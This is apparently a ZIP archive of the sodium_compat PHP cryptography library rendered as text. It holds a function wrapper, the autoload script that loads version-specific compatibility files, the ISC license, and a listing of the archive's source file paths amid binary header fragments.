(!is_callable('sodium_randombytes_random16')) { /** * @see ParagonIE_Sodium_Compat::randombytes_random16() * @return int * @throws Exception */ function sodium_randombytes_random16() { return ParagonIE_Sodium_Compat::randombytes_random16(); } } PK!}BAAlib/namespaced.phpnu[= 50300) { // Namespaces didn't exist before 5.3.0, so don't even try to use this // unless PHP >= 5.3.0 require_once dirname(__FILE__) . '/lib/namespaced.php'; require_once dirname(__FILE__) . '/lib/sodium_compat.php'; if (!defined('SODIUM_CRYPTO_AEAD_AEGIS128L_KEYBYTES')) { require_once dirname(__FILE__) . '/lib/php84compat_const.php'; } } else { require_once dirname(__FILE__) . '/src/PHP52/SplFixedArray.php'; } if (PHP_VERSION_ID < 70200 || !extension_loaded('sodium')) { if (PHP_VERSION_ID >= 50300 && !defined('SODIUM_CRYPTO_SCALARMULT_BYTES')) { require_once dirname(__FILE__) . '/lib/php72compat_const.php'; } if (PHP_VERSION_ID >= 70000) { assert(class_exists('ParagonIE_Sodium_Compat'), 'Possible filesystem/autoloader bug?'); } else { assert(class_exists('ParagonIE_Sodium_Compat')); } require_once(dirname(__FILE__) . '/lib/php72compat.php'); } elseif (!function_exists('sodium_crypto_stream_xchacha20_xor')) { // Older versions of {PHP, ext/sodium} will not define these require_once(dirname(__FILE__) . '/lib/php72compat.php'); } if (PHP_VERSION_ID < 80400 || !extension_loaded('sodium')) { require_once dirname(__FILE__) . '/lib/php84compat.php'; } require_once(dirname(__FILE__) . '/lib/stream-xchacha20.php'); require_once(dirname(__FILE__) . '/lib/ristretto255.php'); PK!Q1\\LICENSEnu[ISC License Copyright (c) 2016-2023, Paragon Initiative Enterprises Copyright (c) 2013-2019, Frank Denis Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted, provided that the above copyright notice and this permission notice appear in all copies. THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. PK!4mzzautoload-php7.phpnu[bbpnamespaced/Core/Ed25519.phpnu[PK!Mtlddrqnamespaced/Core/Poly1305.phpnu[PK!B6>5 o o"rnamespaced/Core/error_lognu[PK!Y[yfftnamespaced/Core/XChaCha20.phpnu[PK!cLVV'namespaced/Compat.phpnu[PK! oqRRnamespaced/File.phpnu[PK!JG"G"Wnamespaced/error_lognu[PK!rVVnamespaced/Crypto.phpnu[PK!..}src/PHP52/SplFixedArray.phpnu[PK!ӈOOsrc/Crypto32.phpnu[PK!6(4W4Wsrc/Core32/BLAKE2b.phpnu[PK![(Hsrc/Core32/SipHash.phpnu[PK!ڨ~Tcsrc/Core32/Util.phpnu[PK!xHH!.dsrc/Core32/SecretStream/State.phpnu[PK!```rsrc/Core32/Int32.phpnu[PK!F&bccsrc/Core32/XSalsa20.phpnu[PK!x)'src/Core32/HSalsa20.phpnu[PK!LTnnsrc/Core32/Curve25519.phpnu[PK!X]>]>src/Core32/Poly1305/State.phpnu[PK!v~:src/Core32/Poly1305/error_lognu[PK!["+"+Asrc/Core32/X25519.phpnu[PK!՗ilzzmsrc/Core32/Curve25519/Fe.phpnu[PK!΂src/Core32/Curve25519/H.phpnu[PK!珉,src/Core32/Curve25519/README.mdnu[PK! ?-src/Core32/Curve25519/error_lognu[PK!% $5src/Core32/Curve25519/Ge/Precomp.phpnu[PK!}M  #;src/Core32/Curve25519/Ge/Cached.phpnu[PK!Íۤaa[Csrc/Core32/Curve25519/Ge/P2.phpnu[PK!6VV Isrc/Core32/Curve25519/Ge/P3.phpnu[PK!~g!Osrc/Core32/Curve25519/Ge/P1p1.phpnu[PK!=/yy1Wsrc/Core32/Int64.phpnu[PK!~ɯ889src/Core32/ChaCha20.phpnu[PK!@(,,,/ src/Core32/Salsa20.phpnu[PK!21g7src/Core32/HChaCha20.phpnu[PK!`Lsrc/Core32/ChaCha20/IetfCtx.phpnu[PK!Xv((Rsrc/Core32/ChaCha20/Ctx.phpnu[PK!\dfsrc/Core32/ChaCha20/error_lognu[PK!Hw=w=vsrc/Core32/Ed25519.phpnu[PK!w`22src/Core32/Poly1305.phpnu[PK!||ETyTysrc/Core32/error_lognu[PK!]D 4src/Core32/XChaCha20.phpnu[PK!e^^>src/Core/BLAKE2b.phpnu[PK!]iu) ) Vsrc/Core/SipHash.phpnu[PK!z-y9TTýsrc/Core/AEGIS128L.phpnu[PK!75-pp]src/Core/Util.phpnu[PK!"((=src/Core/SecretStream/State.phpnu[PK!{[[Ksrc/Core/XSalsa20.phpnu[PK!YYQsrc/Core/HSalsa20.phpnu[PK!11;`src/Core/Curve25519.phpnu[PK!k &p2p2src/Core/Poly1305/State.phpnu[PK!Bl#Vsrc/Core/Poly1305/error_lognu[PK!al src/Core/X25519.phpnu[PK!bc7src/Core/Curve25519/Fe.phpnu[PK!}ڢTyy src/Core/Curve25519/H.phpnu[PK!珉!src/Core/Curve25519/README.mdnu[PK!-Է!src/Core/Curve25519/error_lognu[PK!rr"!src/Core/Curve25519/Ge/Precomp.phpnu[PK!rB B !!src/Core/Curve25519/Ge/Cached.phpnu[PK!p!src/Core/Curve25519/Ge/P2.phpnu[PK!"M!src/Core/Curve25519/Ge/P3.phpnu[PK!!src/Core/Curve25519/Ge/P1p1.phpnu[PK!7A!src/Core/AEGIS256.phpnu[PK!f( > >D!src/Core/AES.phpnu[PK!pXsY2Y27"src/Core/ChaCha20.phpnu[PK!0) ) /j"src/Core/Salsa20.phpnu[PK!,,,"src/Core/HChaCha20.phpnu[PK!o|U|U"src/Core/Ristretto255.phpnu[PK!q,,"src/Core/ChaCha20/IetfCtx.phpnu[PK!yk??#src/Core/error_lognu[PK!.]L* * Xi$src/Core/AEGIS/State128L.phpnu[PK!.}}Ή$src/Core/AEGIS/State256.phpnu[PK!ς $src/Core/XChaCha20.phpnu[PK!ۡUU԰$src/Compat.phpnu[PK!H g4'src/File.phpnu[PK!l (src/SodiumException.phpnu[PK!.h  (src/error_lognu[PK!.sE(src/Crypto.phpnu[PK! HH (composer.jsonnu[PK!eO(lib/php72compat_const.phpnu[PK!xAA)lib/constants.phpnu[PK!B*)lib/php84compat_const.phpnu[PK!.c)lib/stream-xchacha20.phpnu[PK!l56k6kL!)lib/sodium_compat.phpnu[PK!o;))nj)lib/ristretto255.phpnu[PK!/f+HH4)lib/php84compat.phpnu[PK!֡mm m )lib/error_lognu[PK!Ui)lib/php72compat.phpnu[PK!}BAA*lib/namespaced.phpnu[PK!- - "*autoload.phpnu[PK!Q1\\*LICENSEnu[PK!4mzz*autoload-php7.phpnu[PK~~,٘*